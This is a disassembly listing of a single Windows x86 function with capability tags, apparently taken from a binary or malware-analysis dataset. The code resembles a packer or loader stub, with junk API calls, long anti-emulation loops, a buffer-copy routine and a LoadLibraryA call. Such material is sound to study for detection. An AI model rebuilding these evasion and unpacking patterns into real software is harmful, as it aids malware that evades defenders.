Function at 0x40bd48
Capabilities:
Get file attributes
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x460
mov eax, dword [0x425090]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
push esi
xor eax, eax
cmp eax, 0x180
jne 0x40bd7a
mov ecx, dword [0x4273c4]
add ecx, 0xa231
mov dword [0x1f6ec04], ecx
cmp dword [0x1f6ec04], 0x141
jne 0x40bd97
or dword [0x427f5c], 0xffffffff
mov dword [0x427f58], 0xec58acac
inc eax
cmp eax, 0x12376ec
jl 0x40bd61
xor esi, esi
cmp esi, 0x562d05
jne 0x40bdb3
mov eax, dword [0x425fb8]
mov dword [0x1f6ed34], eax
cmp dword [0x1f6ec04], 0x3c
jne 0x40bdc4
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc esi
cmp esi, 0x5f6c74
jl 0x40bda1
cmp dword [0x1f6ec04], 0x7c
jne 0x40bead
push edi
push ebx
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push ebx
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
xor eax, eax
mov word [ebp - 0x434], ax
lea edi, [ebp - 0x432]
stosw word es:[edi], ax
mov word [ebp - 0x430], ax
lea edi, [ebp - 0x42e]
stosw word es:[edi], ax
lea eax, [ebp - 0x460]
push eax
push dword [ebp - 0x430]
lea eax, [ebp - 0x444]
push dword [ebp - 0x434]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
xor eax, eax
mov dword [ebp - 0x458], ebx
lea edi, [ebp - 0x454]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x458]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFileScatter]
push ebx
lea eax, [ebp - 0x404]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_RaiseException]
cmp dword [0x1f6ec04], 0x110a
jne 0x40bf6c
push ebx
push ebx
mov dword [0x1f6ebf8], ebx
mov dword [0x1f6ebfc], ebx
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push str.rovoni_bumoro_bayakazifecumoci_cosanizonoxagomoyefajewufu
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x404]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ActivateActCtx]
push ebx
push ebx
call fcn.00401d0f
push ebx
push ebx
call fcn.00401d0f
add esp, 0x10
xor eax, eax
push 1
lea esi, [ebp - 0x420]
mov dword [ebp - 0x408], 7
mov dword [ebp - 0x40c], ebx
mov word [ebp - 0x41c], ax
call fcn.00401091
call fcn.0040987e
push ebx
push ebx
call fcn.00401eb2
push ebx
push ebx
call fcn.00401d0f
push ebx
call fcn.00401b21
push ebx
push ebx
push ebx
call fcn.00401bd3
add esp, 0x20
push 1
xor ebx, ebx
call fcn.0040104c
call fcn.0040ba44
xor ecx, ecx
cmp dword [0x1f6ec04], ebx
jbe 0x40bfbe
mov eax, dword [0x1f6ed34]
mov dword [ebp - 0x430], eax
mov eax, 0xa231
add dword [ebp - 0x430], eax
mov eax, dword [ebp - 0x430]
mov al, byte [eax + ecx]
mov edx, dword [0x1f6ea4c]
mov byte [edx + ecx], al
mov eax, dword [0x1f6ec04]
cmp eax, 0x5ab
jne 0x40bfb9
mov dword [0x1f6ea50], 0x19b0
inc ecx
cmp ecx, eax
jb 0x40bf7b
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.0040ba99
call fcn.0040ba7b
call fcn.0040bcdc
xor eax, eax
cmp eax, 0xd606b
jne 0x40bfe6
call fcn.0040ba70
inc eax
cmp eax, 0x24e87d
jl 0x40bfda
xor eax, eax
cmp eax, 0x408e
jle 0x40c003
cmp dword [ebp - 0x424], 0xf5bed7
jne 0x40c00b
inc eax
cmp eax, 0x687ed2
jl 0x40bff0
mov esi, 0x1e4165
cmp dword [0x1f6ec04], 0xcc1
jne 0x40c025
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
cmp dword [0x1f6ec04], 0x7c4
mov dword [0x1f6ec00], 0x8e46a6f0
jne 0x40c043
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
dec esi
jne 0x40c010
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00401ab5
leave
ret